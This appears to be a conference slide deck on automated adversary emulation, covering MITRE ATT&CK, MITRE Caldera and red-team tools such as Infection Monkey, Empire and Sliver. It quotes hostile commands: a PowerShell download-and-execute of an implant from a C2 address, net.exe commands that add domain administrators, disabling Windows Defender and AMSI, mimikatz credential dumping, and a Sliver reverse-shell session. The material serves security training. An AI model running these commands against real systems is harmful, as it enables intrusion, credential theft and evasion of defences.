Automated adversary emulation using Caldera

Erik Van Buggenhout
@erikvabu
WHO AM I?

- Lead Author & Instructor SEC599
- Lead Author SEC699 (*NEW*)
- Instructor & co-author SEC560

- Co-founder
- Offices in Brussels, Frankfurt, Munich
- Adversary emulation
## TOPICS FOR TODAY

### What is adversary emulation?

<table>
<thead>
<tr>
<th>Tools of the trade</th>
</tr>
</thead>
<tbody>
<tr>
<td>MITRE Caldera</td>
</tr>
<tr>
<td>Demo: MITRE Caldera</td>
</tr>
</tbody>
</table>

---

**BENSON, FIND ME A FASTER MAILMAN**

**I NEED A WORTHY ADVERSARY**
THIS IS NOT ADVERSARY EMULATION

Vuln Scanning like an APT

“Creative” Red Team

nessus
Professional
	nexpose

Qualys

WE ARE THE U.N.
WIENER INSPECTORS.
DEFINING ADVERSARY EMULATION

Adversary emulation is an activity where security experts emulate how an adversary operates. The ultimate goal, of course, is to improve how resilient the organization is versus these adversary techniques. **Both red and purple teaming can be considered as adversary emulation.**

**ATT&CK**
Adversary activities are described using TTPs (*Tactics, Techniques & Procedures*). These are not as concrete as, for example, IOCs, but they describe how the adversary operates at a higher level. Adversary emulation should be based on TTPs. As such, a traditional vulnerability scan or internal penetration test that is not based on TTPs should not be considered adversary emulation.

**ATT&CK**
Adversary emulation should be performed using a structured approach, which can be based on a kill chain or attack flow. **MITRE ATT&CK** is a good example of such a standard approach.
**PENETRATION TEST VS ADVERSARY EMULATION**

**PENETRATION TEST**

- Identify and exploit vulnerabilities on a (series of) system(s) to assess security
- Focused on a specific scope (typically an application or network range)
- Primarily tests prevention, typically less focus on detection

**VS**

**ADVERSARY EMULATION**

- Assess how resilient an organization is versus a certain adversary / threat actor
- Focused on the execution of a scenario (typically defined by a number of flags)
- Typically tests both prevention & detection (so is less valuable if there is no blue team)

Both Penetration Tests and Adversary Emulation engagements have value. It’s however important to know the difference and the results you can expect!
## RED TEAM VS PURPLE TEAM

### RED TEAM
- A red team involves emulation of a realistic threat actor (using TTPs)
- In a typical red team, interaction with the blue team is **limited** (red vs blue)
- The goal of the red team is to **assess** how well the blue team prevents & detects

### PURPLE TEAM
- A purple team involves emulation of a realistic threat actor (using TTPs)
- In a typical purple team, interaction with the blue team is **maximized** (collaboration)
- The goal of the purple team is to **improve** how well the blue team prevents & detects

Both Red Team and Purple Team engagements have value. It’s however important to know the difference and the results you can expect!
WHAT IS MITRE ATT&CK?

"MITRE ATT&CK™ is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community.” – MITRE ATT&CK website

Tactics are used to describe high-levels attack steps used by an adversary. These can be compared to the “steps” in the Lockheed Martin Cyber Kill Chain ©

MITRE ATT&CK assumes breach and thus the “first” tactic is initial intrusion. Any activity performed before is covered by the PRE-ATT&CK framework.

How a certain tactic is executed is described by a variety of techniques. For every technique, MITRE ATT&CK includes a description, detection & prevention recommendations and known threat actors who use the technique.
## WHAT IS MITRE ATT&CK?

### ATT&CK Matrix for Enterprise

<table>
<thead>
<tr>
<th>TACTICS</th>
<th>TECHNIQUES</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial Access</td>
<td>Execution</td>
</tr>
<tr>
<td>Drive-by Compromise</td>
<td>AppleScript, bash, profile, and bashrc</td>
</tr>
<tr>
<td>Exploit Public-Facing Application</td>
<td>CMSTP, Accessibility Features, BITS Jobs, Bash History, Application Window Discovery, Application Deployment Software, Automated Collection, Communication Through Removable Media, Data Compressed, Data Encrypted for Impact</td>
</tr>
<tr>
<td>External Remote Services</td>
<td>Account Manipulation, AppCerti DLLs, Binary Padding, Brute Force, Browser Bookmark Discovery, Distributed Component Object Model, Clipboard Data, Connection Proxy, Data Encrypted, Data Staged, Custom Command and Control Protocol, Data Transfer Size Limits, Disk Content Wipe, Disk Structure Wipe</td>
</tr>
<tr>
<td>Hardware Additions</td>
<td>Compiled HTML File, AppCerti DLLs, AppInit DLLs, Bypass User Account Control, Credential Dumping, Domain Trust Discovery, Exploitation of Remote Services, Data Staged, Custom Command and Control Protocol, Data Transfer Size Limits, Disk Content Wipe, Disk Structure Wipe</td>
</tr>
<tr>
<td>Replication Through Removable Media</td>
<td>Control Panel Items, AppInit DLLs, Application Shimming, CMSTP, Credentials in Files, File and Directory Discovery, Logon Scripts, Data from Information Repositories, Custom Cryptographic Protocol, Exfiltration Over Alternative Protocol, Exfiltration Over Control Channel, Endpoint Denial of Service, Firmware Corruption, Inhibit System Recovery, Network Denial of Service</td>
</tr>
<tr>
<td>Spearphishing Attachment</td>
<td>Dynamic Data Exchange, Application Shimming, Bypass User Account Control, Clear Command History, Credentials in Registry, Network Service Scanning, Pass the Hash, Data from Local System, Data Encoding, Exfiltration Over Command and Control Channel, Endpoint Denial of Service</td>
</tr>
<tr>
<td>Spearphishing Link</td>
<td>Execution through API, Authentication Package, DLL Search Order Hijacking, Code Signing, Exploitation for Credential Access, Network Share Discovery, Pass the Ticket, Data from Network Shared Drive, Data Obfuscation, Exfiltration Over Other Network Medium, Firmware Corruption, Inhibit System Recovery, Network Denial of Service</td>
</tr>
<tr>
<td>Spearphishing via Service</td>
<td>Execution through Module Load, BITS Jobs, Dylib Hijacking, Compile After Delivery, Forced Authentication, Network Sniffing, Remote Desktop Protocol, Data from Removable Media, Domain Fronting, Exfiltration Over Physical Medium, Inhibit System Recovery, Network Denial of Service</td>
</tr>
<tr>
<td>Supply Chain Compromise</td>
<td>Exploitation for Client Execution, Bootkit, Exploitation for Privilege Escalation, Compiled HTML File, Hooking, Password Policy Discovery, Remote File Copy, Email Collection, Domain Generation Algorithms, Scheduled Transfer, Network Denial of Service</td>
</tr>
<tr>
<td>Trusted Relationship</td>
<td>Graphical User Interface, Browser Extensions, Extra Window Memory Injection, Component Firmware, Input Capture, Peripheral Device Discovery, Remote Services, Input Capture, Fallback Channels, Resource Hijacking</td>
</tr>
<tr>
<td>Valid Accounts</td>
<td>Install/Util, Change Default File Association, File System Permissions Weakness, Component Object Model Hijacking, Input Prompt, Permission Groups Discovery, Replication Through Removable Media, Man in the Browser, Multi-Stage Chaff</td>
</tr>
</tbody>
</table>

---

**PENTEST HACKFEST - Automated Adversary Emulation using Caldera**

9
Component Object Model Hijacking

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. [1] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. [2] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

Source: https://attack.mitre.org/techniques/T1122/

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADVSTORESHELL</td>
<td>Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object. [3]</td>
</tr>
<tr>
<td>APT28</td>
<td>APT28 has used COM hijacking for persistence by replacing the legitimate WDevice Enumerator object with a payload. [4]</td>
</tr>
</tbody>
</table>
WHAT DETAILS ARE AVAILABLE FOR A TECHNIQUE?

Mitigation

Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting\(^9\) tools, like AppLocker,\(^10\)\(^11\) or Software Restriction Policies\(^12\) where appropriate.\(^13\)

Detection

There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within `HKEY_CURRENT_USER\Software\Classes\CLSID` may be anomalous and should be investigated since user objects will be loaded prior to machine objects in `HKEY_LOCAL_MACHINE\Software\Classes\CLSID`.\(^14\) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.

Source: [https://attack.mitre.org/techniques/T1122/](https://attack.mitre.org/techniques/T1122/)
## LEVERAGING MITRE ATT&CK

### ATT&CK for Adversary Emulation

When organizing adversary emulation (such as red or purple team exercises), the emulation plan can be based on MITRE ATT&CK. This facilitates tracking & reporting.

### ATT&CK for Detection Capability

The overall detection capability of an organization can be mapped to MITRE ATT&CK. This facilitates, for example, reporting on the maturity / scope of the SOC.

### ATT&CK for Threat Intelligence

When consuming or generating Threat Intelligence, observed adversary behavior can be mapped to MITRE ATT&CK. Several platforms support this mapping (e.g., MISP has a MITRE ATT&CK mapping).

### ATT&CK for Defense Prioritization

In addition to measuring the detection coverage using MITRE ATT&CK, we can do the same for preventive controls. What MITRE ATT&CK techniques do we actively block?

---

Organizations should leverage MITRE ATT&CK as the **common language**!
To demonstrate the potential of ATT&CK, MITRE developed an emulation plan for APT3 (it’s mainly used as a showcase for MITRE ATT&CK).

It’s a great example of how the ATT&CK framework can be leveraged to develop a concrete action plan to emulate a specific adversary.

Source: https://attack.mitre.org/resources/adversary-emulation-plans/
During both red team and purple team engagements, building a good adversary emulation plan is crucial to success. The emulation plan should mimic an actual adversary and can include distinct phases. In MITRE’s APT3 emulation plan, the following phases are distinguished:

1. Set up adversary infrastructure (e.g. C2) and obtain initial execution (Initial Access)
2. Internal discovery, privilege escalation and lateral movement (Lateral movement)
3. Collection, staging and exfiltration (Action on Objectives)

So what techniques should you select as part of your plan? There’s a few criteria to take into account:

- How much time & effort will be spent during the engagement?
- What threat actors (and related adversary techniques) are relevant to the organization?
- What techniques does the organization believe are covered by security controls?
- What techniques does the organization believe are detected by monitoring use cases?
EXAMPLE OF AN EMULATION PLAN

EMULATION PLAN FOR APT-28

PHASE 1

Initial Access
T1192 - Spearphishing Link

Execution
T1086 - PowerShell

PHASE 2

Persistence
T1122 - COM Hijacking

Privilege Escalation
T1078 - Valid Accounts

Defense Evasion
T1107 - File Deletion

Lateral Movement
T1075 – Pass The Hash

PHASE 3

Exfiltration
T1041 - Exfil over C&C

Not every plan needs to cover every single tactic! 
Improvise!
TOPICS FOR TODAY

What is adversary emulation?

Tools of the trade

MITRE Caldera

Demo: MITRE Caldera
Adversary emulation can typically take two different forms:

• Automated / scripted emulation of a (number of) specific MITRE ATT&CK techniques
• Manual, full-stack emulation according to an adversary emulation plan

Different tools exist that can help emulate the two objectives listed above!
When trying to “quickly” test detection of specifics techniques, we can use **Atomic Red Team** to emulate certain ATT&CK techniques. All Atomic Red Team tests are portable and light-weight and allow for easy execution!
for %f in (*.py) do python %f

# Name: Create User with net.exe
# RTA: net_user_add.py
# ATT&CK: T1136
# Description: Adds an account to the local host using the net.exe command

import common

def main():
    common.log("Creating local and domain user accounts using net.exe")
    commands = [
        'net.exe user macyver $w!$$@rmy11 /add /fullname:"Angus Macgyver"',
        'net.exe user macyver $w!$$@rmy11 /add /fullname:"Angus Macgyver" /domain',
        'net.exe group Administrators macyver /add',
        'net.exe group "Domain Admins" macyver /add /domain',
        'net.exe localgroup Administrators macyver /add',
    ]

RTA builds up local IoCs through Python scripts mapped with the MITRE ATT&CK Framework.
Uber Metta limits its field of interaction to VirtualBox and Vagrant machines.
2. Run the Monkey

Go ahead and run the monkey! *(Or configure the monkey to fine tune its behavior)*

- Run on C&C Server
- Run on machine of your choice

Choose the operating system where you want to run the monkey, and the interface to communicate with.

<table>
<thead>
<tr>
<th>Operating System</th>
<th>Interface</th>
<th>IP Address</th>
</tr>
</thead>
<tbody>
<tr>
<td>Windows (32 bit)</td>
<td>192.168.80.129</td>
<td>192.168.80.129:5000</td>
</tr>
<tr>
<td>Windows (64 bit)</td>
<td>10.0.75.1</td>
<td>192.168.1.4</td>
</tr>
<tr>
<td>Linux (32 bit)</td>
<td>10.28.0.100</td>
<td>192.168.80.129:5000</td>
</tr>
<tr>
<td>Linux (64 bit)</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Copy the following command to your machine and run it with Administrator or root privileges.

```powershell
$myCerti=$null
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$MyObject = New-Object -TypeName System.Net.WebClient;
$MyObject.DownloadFile('https://192.168.80.129:5000/api/monkey/download/monkey-windows-64.exe', '\monkey.exe');
Start-Process -FilePath '\monkey.exe' -ArgumentList '/\monkey.exe' -Verb RunAs
```

Go ahead and monitor the ongoing infection in the *Infection Map* view.

SOURCE: GUARDICORE.COM/INFECTIONMONKEY
3. Infection Map

Legend: Exploit | Scan | Tunnel | Island Communication

SOURCE: GUARDICORE.COM/INFECTIONMONKEY
4. Security Report

Security Report
Infection Monkey

Overview

![Critical security issues were detected!](image)

The first monkey run was started on **31/10/2017 11:00:44**. After all monkeys finished propagation attempts.

The monkey started propagating from the following machines where it was manually installed:
- ubuntu
- windows-machine

The monkeys were run with the following configuration:

Usernames used for brute-forcing:
- Administrator

SOURCE: GUARDICORE.COM/INFECTIONMONKEY
Machines are accessible using passwords supplied by the user during the Monkey’s configuration.

Potential Security Issues
The Monkey uncovered the following possible set of issues:
• Weak segmentation - machines were able to communicate over unused ports.

Recommendations
• Monkey-MSSQL1
  1. Change **Administrator**’s password to a complex one-use password that is not shared with other computers on the network.

    The machine **Monkey-MSSQL1** (11.0.0.0) is vulnerable to a **SMB** attack. The Monkey authenticated over the SMB protocol with user **Administrator** and its password.

  2. Use micro-segmentation policies to disable communication other than the required.

• webServer-shellshock0
  1. Update your Bash to a ShellShock-patched version.

    The machine **webServer-shellshock0** (10.0.3.68) is vulnerable to a **ShellShock** attack.

SOURCE: GUARDICORE.COM/INFECTIONMONKEY
## METASPLOIT: ATT&CK PLUGIN

```ruby
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info={
      'Name' => 'Data Compressed (T1002) Windows - Purple Team',
      'Description' => '%q{
        Exfiltration:
        An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
    }
```
PowerShell Empire is a **simple yet effective setup**. The adversary’s listeners waits for the target’s stager to drop the agent. Once the target agent beacons the listener, the adversary can engage modules.
```python
def generate(self, obfuscate=False, obfuscationCommand=""):  

    # read in the common module source code
    moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.psl"

    try:
        f = open(moduleSource, 'r')
    except:
        print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
        return ""

    moduleCode = f.read()
    f.close()

    script = moduleCode

    script += "\Invoke-EternalBlue "
```
Covenant is a .NET alternative to PowerShell Empire. It uses the same flow between listeners and launchers with a slight terminology variant.
SLIVER

1. Compile Binary

```
sliver > generate --mTLS example.com --save /Users/mloch/Desktop
```

[*] Generating new windows/amd64 Sliver binary
[*] Symbol obfuscation is enabled, this process takes about 15 minutes
[*] Build completed in 00:10:16
[*] Sliver binary saved to: /Users/mloch/Desktop/NEW_GRAPE.exe

2. Start Listener

```
sliver > mTLS
```

[*] Starting mTLS listener ...
[*] Successfully started job #1

```
sliver > jobs
```

ID | Name   | Protocol | Port | Status
---|--------|----------|------|--------
1  | mTLS   | tcp      | 8888 | running

[*] Session #1 PROPER_ANTHONY - 127.0.0.1:49929 (nmrvi.local) - darwin/amd64

3. Reverse Shell

```
sliver > use 1
```

[*] Active sliver PROPER_ANTHONY (1)

```
sliver (PROPER_ANTHONY) > ls
```

/Users/mloch/Desktop

```
.DS_Store  6.0 KiB
.localized  0 B
PROPER_ANTHONY  6.3 MiB
```
Sliver compiles a unique obfuscated binary per target.
SLIVER

Each host is identified by the custom obfuscated C2 domain used.
**SLIVER: CANARY TOKENS**

Each binary is equipped with plaintext canary DNS tokens.

- **Adversary**
  - Sliver
  - DNS C2

- **Unique Binary**

- **Blue Team**
  
```
$ nslookup canary.c2.adversary.org
```

```
$ strings
nslookup canary.c2.adversary.org
```

TOPICS FOR TODAY

What is adversary emulation?

Tools of the trade

MITRE Caldera

Demo: MITRE Caldera
WHAT DOES MITRE CALDERA LOOK LIKE?

Local MITRE ATT&CK

Caldera Attack GUI
WHAT DOES MITRE CALDERA LOOK LIKE?
An ability is at a similar level as an ATT&CK technique
The **cleanup** defines whether the host should perform the cleanup statements. This feature is useful to erase dropped payloads before re-enabling AVs.
The **jitter** defines the minimal and maximum duration between host polls. This feature allows you to throttle the execution of operations to remain undetected during operations.
MITRE CALDERA PLUGIN CAPABILITIES

A Caldera plugin can customize anything.

Example code:

```python
app = web.Application()

services = dict(
    data_svc=data_svc, auth_svc=auth_svc, utility_svc=utility_svc, operation_svc=operation_svc,
    file_svc=file_svc, planning_svc=planning_svc, plugins=plugin_modules
)

async def attach_plugins(app, services):
    for pm in services.get('plugins'):
        plugin = getattr(pm, 'initialize')
        await plugin(app, services)

    templates = ['plugins/%s/templates' % p.name.lower() for p in services['plugins']]

async def initialize(app, services):
    data_svc = services.get('data_svc')
    await data_svc.reload_database(adversaries='plugins/stockpile/adversaries.yml',
                                    abilities='plugins/stockpile/abilities',
                                    facts='plugins/stockpile/facts.yml')
```

```python
name = 'Stockpile'
description = 'A stockpile of abilities, adversaries, payloads and planners'
address = None
```
## MITRE CALDERA INCLUDED PLUGINS

<table>
<thead>
<tr>
<th>Plugin</th>
<th>Type</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sandcat</td>
<td>Required</td>
<td>Cross-platform RAT plugin.</td>
</tr>
<tr>
<td>SSL</td>
<td>Required</td>
<td>SSL reverse proxy plugin – Depends on <strong>HAProxy</strong>.</td>
</tr>
<tr>
<td>GUI</td>
<td>Required</td>
<td>Main GUI and authentication plugin.</td>
</tr>
<tr>
<td>Chain</td>
<td>Required</td>
<td>Advanced GUI plugin (groups, abilities, adversaries, operations, …)</td>
</tr>
<tr>
<td>Stockpile</td>
<td>Required</td>
<td>Abilities and adversary database plugin.</td>
</tr>
<tr>
<td>Caltack</td>
<td>Optional</td>
<td>MITRE ATT&amp;CK local website plugin.</td>
</tr>
<tr>
<td>Adversary</td>
<td>Deprecated – Breaking</td>
<td>Original Caldera mode plugin.</td>
</tr>
</tbody>
</table>
**MITRE CALDERA’S ABILITIES**

An **ability** describes a **suite of actions** achieving a small goal.

```plaintext
---
- id: 49470433-30ce-4714-a44b-bea9dbbecca9a
  name: Disable Windows Defender Real-Time Protection
  description: Disable Windows Defender Real-Time Protection
  tactic: defensive-evasion
  technique:
    attack_id: T1089
    name: Disabling Security Tools
  executors:
    windows:
      command: |
      Set-MPPreference -DisableRealtimeMonitoring 1
      Start-Sleep -s 10
    cleanup:
      Set-MPPreference -DisableRealtimeMonitoring 0
```
An adversary describes a malicious actor equipped with abilities.

```yaml
---
- name: Windows
description: Dump Windows Credentials
phases:
  1:
    - 43b3754c-def4-4699-a673-1d85648fda6a # Clears out the bash history
  2:
    - 49470433-30ce-4714-a44b-bea9dbbeca9a # Disable Windows Defender Real-Time
  3:
    - b08240d0-ff35-444d-b20b-1671a7f65011 # Ensure AMSI is disabled for each
  4:
    - baac2c6d-4652-4b7e-ab0a-f1bf246edd12 # Use powerkatz to execute mimikatz
```
MITRE CALDERA’S PHASES

Multiple abilities can be grouped in a phase.

```plaintext
1  ---
2
3  - name: Windows
4    description: Dump Windows Credentials
5    phases:
6      1:
7        - 43b3754c-def4-4699-a673-1d85648fda6a # Clears out the bash history
8      2:
9        - 49470433-30ce-4714-a44b-bea9d6bec9a # Disable Windows Defender Real-Time Protection
10     3:
11        - b08240d0-ff35-444d-b20b-1671a7f65011 # Ensure AMSI is disabled for each node
12     4:
13        - baac2c6d-4652-4b7e-ab0a-f1bf246edd12 # Use powershell to execute mimikatz
```
Multiple phases describe an adversary.

```plaintext
- name: Windows
description: Dump Windows Credentials
phases:
  1:
    - 43b3754c-def4-4699-a673-1d85648fda6a  # Clears out the bash history
  2:
    - 49470433-30ce-4714-a44b-bea9dbbeca9a  # Disable Windows Defender Real-Time protection
  3:
    - b68240d0-ff35-444d-b20b-1671a7f65011  # Ensure AMSI is disabled for each node
  4:
    - baac2c6d-4652-4b7e-ab0a-f1bf246edd12  # Use powerkatz to execute mimikatz
```
A newly infected **host**, by the Sandcat plugin, joins a predefined **group**.
Multiple newly infected hosts can have different initial groups.
Different groups can contain multiple hosts with multiple operating systems.
MITRE CALDERA’S OPERATIONS

Adversary

P1
Ability I
Ability II

P2
Ability III

P3
Ability IV
Ability V

Ability
PowerShell
OS X Shell
Linux Shell

Operation

Foo
Bar
Groups
Windows
OS X
Linux

Groups
MITRE CALDERA’S OPERATIONS

Adversary

<table>
<thead>
<tr>
<th>P1</th>
<th>Ability I</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Ability II</td>
</tr>
<tr>
<td>P2</td>
<td>Ability III</td>
</tr>
<tr>
<td></td>
<td>Ability IV</td>
</tr>
<tr>
<td></td>
<td>Ability V</td>
</tr>
</tbody>
</table>

Ability

<table>
<thead>
<tr>
<th>Foo</th>
<th>Bar</th>
<th>Groups</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Windows</td>
</tr>
<tr>
<td></td>
<td></td>
<td>OS X</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Linux</td>
</tr>
</tbody>
</table>

Operation

- PowerShell
- OS X Shell
- Linux Shell
MITRE CALDERA’S OPERATIONS

Adversary

<table>
<thead>
<tr>
<th>P1</th>
<th>Ability I</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Ability II</td>
</tr>
<tr>
<td>P2</td>
<td>Ability III</td>
</tr>
<tr>
<td></td>
<td>Ability IV</td>
</tr>
<tr>
<td></td>
<td>Ability V</td>
</tr>
</tbody>
</table>

Ability

- PowerShell
- OS X Shell
- Linux Shell

Operation

Foo
Bar
Groups

Windows
OS X
Linux

Groups

Windows
OS X
Linux
MITRE CALDERA’S VARIABLES

**Ability**
- PowerShell
- OS X Shell
- Linux Shell

**Operation**
- **server**: The Caldera server address.
- **group**: The target host’s group.
- **files**: The payload’s temporary host’s group.

```
$command = Import-Module C:\Administrator\AppData\Local\Temp\FileCryptography.psm1 -Verbose -Force;
```

OS X
### MITRE CALDERA’S OBJECT CREATIONS

<table>
<thead>
<tr>
<th>Object</th>
<th>Creation</th>
<th>Modification</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>Groups</td>
<td>Run-Time</td>
<td>Possible – Automatic</td>
<td>Created automatically when an infected host beacon’s the server.</td>
</tr>
<tr>
<td>Abilities</td>
<td>Hard-Coded</td>
<td>Possible – Needs Caldera restart</td>
<td>Created manually inside the Stockpile plugin.</td>
</tr>
<tr>
<td>Facts</td>
<td>Hard-Coded</td>
<td>Possible</td>
<td>Created manually inside the Stockpile plugin and CRUD-able through the GUI.</td>
</tr>
<tr>
<td>Adversaries</td>
<td>Hard-Coded</td>
<td>Possible</td>
<td>Created manually inside the Stockpile plugin and CRUD-able through the GUI.</td>
</tr>
<tr>
<td>Operations</td>
<td>Run-Time</td>
<td>Possible</td>
<td>Created manually inside the GUI.</td>
</tr>
</tbody>
</table>

[https://github.com/mitre/caldera/wiki](https://github.com/mitre/caldera/wiki)
TOPICS FOR TODAY

- What is adversary emulation?
- Tools of the trade
- MITRE Caldera
- Demo: MITRE Caldera
QUESTIONS?

THANK YOU FOR YOUR

"ATTENTION"